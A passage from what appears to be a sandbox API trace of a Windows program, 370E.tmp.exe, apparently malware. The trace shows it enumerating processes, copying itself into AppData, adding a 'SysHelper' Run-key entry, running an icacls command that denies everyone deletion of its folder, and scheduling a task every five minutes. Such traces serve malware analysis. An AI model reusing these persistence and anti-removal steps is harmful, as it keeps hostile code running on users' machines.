bInheritHandle=0, dwProcessId=0x5a4) returned 0x5bc [0042.219] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18de54, cb=0x4, lpcbNeeded=0x18de38 | out: lphModule=0x18de54, lpcbNeeded=0x18de38) returned 1 [0042.219] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0xe50000, lpBaseName=0x18d638, nSize=0x400 | out: lpBaseName="edgesbudget.exe") returned 0xf [0042.220] CloseHandle (hObject=0x5bc) returned 1 [0042.220] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x780) returned 0x5bc [0042.220] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18de54, cb=0x4, lpcbNeeded=0x18de38 | out: lphModule=0x18de54, lpcbNeeded=0x18de38) returned 1 [0042.221] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0x300000, lpBaseName=0x18d638, nSize=0x400 | out: lpBaseName="easily.exe") returned 0xa [0042.221] CloseHandle (hObject=0x5bc) returned 1 [0042.221] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x240) returned 0x5bc [0042.221] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18de54, cb=0x4, lpcbNeeded=0x18de38 | out: lphModule=0x18de54, lpcbNeeded=0x18de38) returned 1 [0042.222] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0x13a0000, lpBaseName=0x18d638, nSize=0x400 | out: lpBaseName="aggressive_experiences.exe") returned 0x1a [0042.222] CloseHandle (hObject=0x5bc) returned 1 [0042.222] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x210) returned 0x5bc [0042.222] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18de54, cb=0x4, lpcbNeeded=0x18de38 | out: lphModule=0x18de54, lpcbNeeded=0x18de38) returned 1 [0042.223] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0x3d0000, lpBaseName=0x18d638, nSize=0x400 | out: lpBaseName="souls prot personality.exe") returned 0x1a [0042.223] CloseHandle (hObject=0x5bc) returned 1 [0042.223] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x310) returned 0x5bc [0042.223] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18de54, cb=0x4, lpcbNeeded=0x18de38 | out: lphModule=0x18de54, lpcbNeeded=0x18de38) returned 1 [0042.224] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0x880000, lpBaseName=0x18d638, nSize=0x400 | out: lpBaseName="image.exe") returned 0x9 [0042.224] CloseHandle (hObject=0x5bc) returned 1 [0042.224] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1e8) returned 0x5bc [0042.225] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18de54, cb=0x4, lpcbNeeded=0x18de38 | out: lphModule=0x18de54, lpcbNeeded=0x18de38) returned 1 [0042.225] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0xd30000, lpBaseName=0x18d638, nSize=0x400 | out: lpBaseName="damage-phases.exe") returned 0x11 [0042.226] CloseHandle (hObject=0x5bc) returned 1 [0042.226] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x774) returned 0x5bc [0042.226] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18de54, cb=0x4, lpcbNeeded=0x18de38 | out: lphModule=0x18de54, lpcbNeeded=0x18de38) returned 1 [0042.227] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0x2b0000, lpBaseName=0x18d638, nSize=0x400 | out: lpBaseName="nashville-notices.exe") returned 0x15 [0042.227] CloseHandle (hObject=0x5bc) returned 1 [0042.227] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x688) returned 0x5bc [0042.227] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18de54, cb=0x4, lpcbNeeded=0x18de38 | out: lphModule=0x18de54, lpcbNeeded=0x18de38) returned 1 [0042.228] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0xb40000, lpBaseName=0x18d638, nSize=0x400 | out: lpBaseName="introducing_array_afternoon.exe") returned 0x1f [0042.228] CloseHandle (hObject=0x5bc) returned 1 [0042.228] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7fc) returned 0x5bc [0042.228] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18de54, cb=0x4, lpcbNeeded=0x18de38 | out: lphModule=0x18de54, lpcbNeeded=0x18de38) returned 1 [0042.229] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0x1280000, lpBaseName=0x18d638, nSize=0x400 | out: lpBaseName="sodium.exe") returned 0xa [0042.229] CloseHandle (hObject=0x5bc) returned 1 [0042.229] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7a8) returned 0x5bc [0042.229] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18de54, cb=0x4, lpcbNeeded=0x18de38 | out: lphModule=0x18de54, lpcbNeeded=0x18de38) returned 1 [0042.230] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0x200000, lpBaseName=0x18d638, nSize=0x400 | out: lpBaseName="volunteer-senators-eight.exe") returned 0x1c [0042.230] CloseHandle (hObject=0x5bc) returned 1 [0042.230] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x11c) returned 0x5bc [0042.230] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18de54, cb=0x4, lpcbNeeded=0x18de38 | out: lphModule=0x18de54, lpcbNeeded=0x18de38) returned 1 [0042.231] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0xd50000, lpBaseName=0x18d638, nSize=0x400 | out: lpBaseName="telecommunications-stream-justify.exe") returned 0x25 [0042.232] CloseHandle (hObject=0x5bc) returned 1 [0042.232] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x320) returned 0x5bc [0042.232] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18de54, cb=0x4, lpcbNeeded=0x18de38 | out: lphModule=0x18de54, lpcbNeeded=0x18de38) returned 1 [0042.233] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0x100000, lpBaseName=0x18d638, nSize=0x400 | out: lpBaseName="biographies tries.exe") returned 0x15 [0042.233] CloseHandle (hObject=0x5bc) returned 1 [0042.233] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7e8) returned 0x5bc [0042.233] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18de54, cb=0x4, lpcbNeeded=0x18de38 | out: lphModule=0x18de54, lpcbNeeded=0x18de38) returned 1 [0042.234] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0xf20000, lpBaseName=0x18d638, nSize=0x400 | out: lpBaseName="marker.exe") returned 0xa [0042.234] CloseHandle (hObject=0x5bc) returned 1 [0042.234] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4a4) returned 0x5bc [0042.234] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18de54, cb=0x4, lpcbNeeded=0x18de38 | out: lphModule=0x18de54, lpcbNeeded=0x18de38) returned 1 [0042.235] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0x890000, lpBaseName=0x18d638, nSize=0x400 | out: lpBaseName="mariabridal.exe") returned 0xf [0042.235] CloseHandle (hObject=0x5bc) returned 1 [0042.235] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x288) returned 0x0 [0042.235] CloseHandle (hObject=0x0) returned 0 [0042.235] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7e4) returned 0x5bc [0042.235] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18de54, cb=0x4, lpcbNeeded=0x18de38 | out: lphModule=0x18de54, lpcbNeeded=0x18de38) returned 0 [0042.236] CloseHandle (hObject=0x5bc) returned 1 [0042.236] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x414) returned 0x5bc [0042.236] EnumProcessModules (in: hProcess=0x5bc, lphModule=0x18de54, cb=0x4, lpcbNeeded=0x18de38 | out: lphModule=0x18de54, lpcbNeeded=0x18de38) returned 1 [0042.237] GetModuleBaseNameW (in: hProcess=0x5bc, hModule=0x400000, lpBaseName=0x18d638, nSize=0x400 | out: lpBaseName="370E.tmp.exe") returned 0xc [0042.237] CloseHandle (hObject=0x5bc) returned 1 [0042.237] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x28) returned 0x317a98 [0042.237] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x25c) returned 0x3230610 [0042.237] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x25c) returned 0x327cc68 [0042.237] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x25c) returned 0x3245168 [0042.237] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x25c) returned 0x3264848 [0042.237] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x25c) returned 0x3264ab0 [0042.237] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x25c) returned 0x3264d18 [0042.237] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x25c) returned 0x3264f80 [0042.237] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x25c) returned 0x32651e8 [0042.237] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x25c) returned 0x3265450 [0042.237] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x25c) returned 0x32656b8 [0042.237] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0xf003f, phkResult=0x18de38 | out: phkResult=0x18de38*=0x5bc) returned 0x0 [0042.237] RegQueryValueExW (in: hKey=0x5bc, lpValueName="SysHelper", lpReserved=0x0, lpType=0x18de34, lpData=0x18c560, lpcbData=0x18de18*=0x400 | out: lpType=0x18de34*=0x0, lpData=0x18c560*=0x0, lpcbData=0x18de18*=0x400) returned 0x2 [0042.237] RegCloseKey (hKey=0x5bc) returned 0x0 [0042.238] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0042.238] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0042.238] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\370E.tmp.exe\" " [0042.238] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\370E.tmp.exe\" ", pNumArgs=0x18ddfc | out: pNumArgs=0x18ddfc) returned 0x32363f0*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\370E.tmp.exe" [0042.238] lstrcpyW (in: lpString1=0x18bd60, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\370E.tmp.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\370E.tmp.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\370E.tmp.exe" [0042.238] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\370E.tmp.exe") returned="370E.tmp.exe" [0042.238] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x18d560 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 0x0 [0042.238] UuidCreate (in: Uuid=0x18ddac | out: Uuid=0x18ddac) returned 0x0 [0042.238] UuidToStringW (in: Uuid=0x18ddac, StringUuid=0x18de40 | out: StringUuid=0x18de40) returned 0x0 [0042.238] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x50) returned 0x32831b0 [0042.238] RpcMgmtStatsVectorFree (in: StatsVector=0x18de40 | out: StatsVector=0x18de40) returned 0x0 [0042.238] PathAppendW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", pMore="3f2aa1c4-e619-4d34-a21e-283f3d2a3401" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401") returned 1 [0042.238] CreateDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401"), lpSecurityAttributes=0x0) returned 1 [0042.239] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0xb0) returned 0x3220298 [0042.239] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0xb0) returned 0x3220350 [0042.239] PathAppendW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401", pMore="370E.tmp.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401\\370E.tmp.exe") returned 1 [0042.239] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401\\370E.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401\\370e.tmp.exe")) returned 0 [0042.239] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\370E.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\370e.tmp.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401\\370E.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401\\370e.tmp.exe"), bFailIfExists=0) returned 1 [0042.266] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0xf003f, phkResult=0x18de3c | out: phkResult=0x18de3c*=0x5c0) returned 0x0 [0042.267] lstrcpyW (in: lpString1=0x18cd60, lpString2="\"" | out: lpString1="\"") returned="\"" [0042.267] lstrcatW (in: lpString1="\"", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401\\370E.tmp.exe" | out: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401\\370E.tmp.exe") returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401\\370E.tmp.exe" [0042.267] lstrcatW (in: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401\\370E.tmp.exe", lpString2="\" --AutoStart" | out: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401\\370E.tmp.exe\" --AutoStart") returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401\\370E.tmp.exe\" --AutoStart" [0042.267] lstrlenW (lpString="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401\\370E.tmp.exe\" --AutoStart") returned 107 [0042.267] RegSetValueExW (in: hKey=0x5c0, lpValueName="SysHelper", Reserved=0x0, dwType=0x2, lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401\\370E.tmp.exe\" --AutoStart", cbData=0xd6 | out: lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401\\370E.tmp.exe\" --AutoStart") returned 0x0 [0042.267] RegCloseKey (hKey=0x5c0) returned 0x0 [0042.267] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0xc0) returned 0x321b398 [0042.267] SetLastError (dwErrCode=0x0) [0042.267] lstrcpyW (in: lpString1=0x18ad60, lpString2="icacls \"" | out: lpString1="icacls \"") returned="icacls \"" [0042.267] lstrcatW (in: lpString1="icacls \"", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401" | out: lpString1="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401") returned="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401" [0042.267] lstrcatW (in: lpString1="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401", lpString2="\" /deny *S-1-1-0:(OI)(CI)(DE,DC)" | out: lpString1="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401\" /deny *S-1-1-0:(OI)(CI)(DE,DC)") returned="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401\" /deny *S-1-1-0:(OI)(CI)(DE,DC)" [0042.267] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401\" /deny *S-1-1-0:(OI)(CI)(DE,DC)", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x48, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18dd60*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18ddbc | out: lpCommandLine="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401\" /deny *S-1-1-0:(OI)(CI)(DE,DC)", lpProcessInformation=0x18ddbc*(hProcess=0x5bc, hThread=0x5c0, dwProcessId=0x130, dwThreadId=0x6d0)) returned 1 [0042.278] WaitForSingleObject (hHandle=0x5bc, dwMilliseconds=0x1) returned 0x102 [0042.280] WaitForSingleObject (hHandle=0x5bc, dwMilliseconds=0x1) returned 0x102 [0042.362] WaitForSingleObject (hHandle=0x5bc, dwMilliseconds=0x1) returned 0x102 [0042.374] WaitForSingleObject (hHandle=0x5bc, dwMilliseconds=0x1) returned 0x102 [0042.389] WaitForSingleObject (hHandle=0x5bc, dwMilliseconds=0x1) returned 0x102 [0042.405] WaitForSingleObject (hHandle=0x5bc, dwMilliseconds=0x1) returned 0x102 [0042.421] WaitForSingleObject (hHandle=0x5bc, dwMilliseconds=0x1) returned 0x0 [0042.424] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x3220350 | out: hHeap=0x260000) returned 1 [0042.424] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x32831b0 | out: hHeap=0x260000) returned 1 [0042.424] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0xc0) returned 0x321b460 [0042.424] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0xc0) returned 0x321b528 [0042.424] CoInitialize (pvReserved=0x0) returned 0x0 [0042.713] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x80010119 [0042.713] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0xc0) returned 0x321b5f0 [0042.713] CoCreateInstance (in: rclsid=0x44ffcc*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x44ff4c*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x18de24 | out: ppv=0x18de24*=0x2780d20) returned 0x0 [0042.837] TaskScheduler:ITaskService:Connect (This=0x2780d20, serverName=0x18d8b0*(varType=0x0, wReserved1=0x7715, wReserved2=0xe0d2, wReserved3=0x7715, varVal1=0x5f, varVal2=0xc0), user=0x18d8c0*(varType=0x0, wReserved1=0x0, wReserved2=0x2, wReserved3=0x0, varVal1=0x0, varVal2=0xc8), domain=0x18d8d0*(varType=0x0, wReserved1=0x0, wReserved2=0xc0, wReserved3=0x0, varVal1=0x5f, varVal2=0x7), password=0x18d8e0*(varType=0x0, wReserved1=0x326, wReserved2=0xddcc, wReserved3=0x18, varVal1=0x41720b, varVal2=0x260000)) returned 0x0 [0042.840] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0xc) returned 0x3239ca8 [0042.840] TaskScheduler:ITaskService:GetFolder (in: This=0x2780d20, Path="\\", ppFolder=0x18de2c | out: ppFolder=0x18de2c*=0x64ff98) returned 0x0 [0042.842] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x3239ca8 | out: hHeap=0x260000) returned 1 [0042.842] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0xc) returned 0x3239ca8 [0042.842] ITaskFolder:DeleteTask (This=0x64ff98, Name="Time Trigger Task", flags=0) returned 0x80070002 [0042.843] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x3239ca8 | out: hHeap=0x260000) returned 1 [0042.843] TaskScheduler:ITaskService:NewTask (in: This=0x2780d20, flags=0x0, ppDefinition=0x18de30 | out: ppDefinition=0x18de30*=0x2780da8) returned 0x0 [0042.845] TaskScheduler:IUnknown:Release (This=0x2780d20) returned 0x1 [0042.845] ITaskDefinition:get_RegistrationInfo (in: This=0x2780da8, ppRegistrationInfo=0x18de04 | out: ppRegistrationInfo=0x18de04*=0x2780e68) returned 0x0 [0042.845] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0xc) returned 0x3239cd8 [0042.845] IRegistrationInfo:put_Author (This=0x2780e68, Author="Author Name") returned 0x0 [0042.845] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x3239cd8 | out: hHeap=0x260000) returned 1 [0042.845] IUnknown:Release (This=0x2780e68) returned 0x1 [0042.845] ITaskDefinition:get_Principal (in: This=0x2780da8, ppPrincipal=0x18de0c | out: ppPrincipal=0x18de0c*=0x2780ff8) returned 0x0 [0042.845] IPrincipal:put_LogonType (This=0x2780ff8, LogonType=3) returned 0x0 [0042.845] IUnknown:Release (This=0x2780ff8) returned 0x1 [0042.845] ITaskDefinition:get_Settings (in: This=0x2780da8, ppSettings=0x18de14 | out: ppSettings=0x18de14*=0x2780f18) returned 0x0 [0042.845] ITaskSettings:put_StartWhenAvailable (This=0x2780f18, StartWhenAvailable=1) returned 0x0 [0042.845] IUnknown:Release (This=0x2780f18) returned 0x1 [0042.845] ITaskSettings:get_IdleSettings (in: This=0x2780f18, ppIdleSettings=0x18ddf8 | out: ppIdleSettings=0x18ddf8*=0x2780f88) returned 0x0 [0042.845] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0xc) returned 0x3239cd8 [0042.846] IIdleSettings:put_WaitTimeout (This=0x2780f88, WaitTimeout="PT5M") returned 0x0 [0042.846] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x3239cd8 | out: hHeap=0x260000) returned 1 [0042.846] IUnknown:Release (This=0x2780f88) returned 0x1 [0042.846] ITaskDefinition:get_Triggers (in: This=0x2780da8, ppTriggers=0x18ddf4 | out: ppTriggers=0x18ddf4*=0x2780ed8) returned 0x0 [0042.846] ITriggerCollection:Create (in: This=0x2780ed8, Type=1, ppTrigger=0x18de00 | out: ppTrigger=0x18de00*=0x2781058) returned 0x0 [0042.846] IUnknown:Release (This=0x2780ed8) returned 0x1 [0042.846] IUnknown:QueryInterface (in: This=0x2781058, riid=0x45004c*(Data1=0xb45747e0, Data2=0xeba7, Data3=0x4276, Data4=([0]=0x9f, [1]=0x29, [2]=0x85, [3]=0xc5, [4]=0xbb, [5]=0x30, [6]=0x0, [7]=0x6)), ppvObject=0x18de1c | out: ppvObject=0x18de1c*=0x2781058) returned 0x0 [0042.846] IUnknown:Release (This=0x2781058) returned 0x2 [0042.846] ITrigger:get_Repetition (in: This=0x2781058, ppRepeat=0x18de08 | out: ppRepeat=0x18de08*=0x27810a8) returned 0x0 [0042.846] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0xc) returned 0x3239cd8 [0042.846] IRepetitionPattern:put_Interval (This=0x27810a8, Interval="PT5M") returned 0x0 [0042.846] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x3239cd8 | out: hHeap=0x260000) returned 1 [0042.846] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0xc) returned 0x3239cd8 [0042.846] IRepetitionPattern:put_Duration (This=0x27810a8, Duration="") returned 0x0 [0042.847] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x3239cd8 | out: hHeap=0x260000) returned 1 [0042.848] ITrigger:put_Repetition (This=0x2781058, Repetition=0x27810a8) returned 0x0 [0042.848] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0xc) returned 0x3239cd8 [0042.848] ITrigger:put_Id (This=0x2781058, Id="Trigger1") returned 0x0 [0042.848] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x3239cd8 | out: hHeap=0x260000) returned 1 [0042.848] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0xc) returned 0x3239cd8 [0042.848] ITrigger:put_EndBoundary (This=0x2781058, EndBoundary="2030-05-02T08:00:00") returned 0x0 [0042.848] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x3239cd8 | out: hHeap=0x260000) returned 1 [0042.848] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18d8dc | out: lpSystemTimeAsFileTime=0x18d8dc*(dwLowDateTime=0xcde16130, dwHighDateTime=0x1d52ab3)) [0042.848] GetLastError () returned 0x0 [0042.848] SetLastError (dwErrCode=0x0) [0042.848] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x24) returned 0x3282ce0 [0042.849] GetLastError () returned 0x0 [0042.849] SetLastError (dwErrCode=0x0) [0042.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0042.849] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x1f) returned 0x32847f8 [0042.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x32847f8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 31 [0042.849] GetLastError () returned 0x0 [0042.849] SetLastError (dwErrCode=0x0) [0042.849] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x4) returned 0x31dfef0 [0042.849] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x31dfef0) returned 0x4 [0042.849] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x31dfef0, Size=0x8) returned 0x31dff20 [0042.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0042.849] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x36) returned 0x319c20 [0042.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", cchWideChar=-1, lpMultiByteStr=0x319c20, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPDATA=C:\\Users\\5p5NrGJn0jS 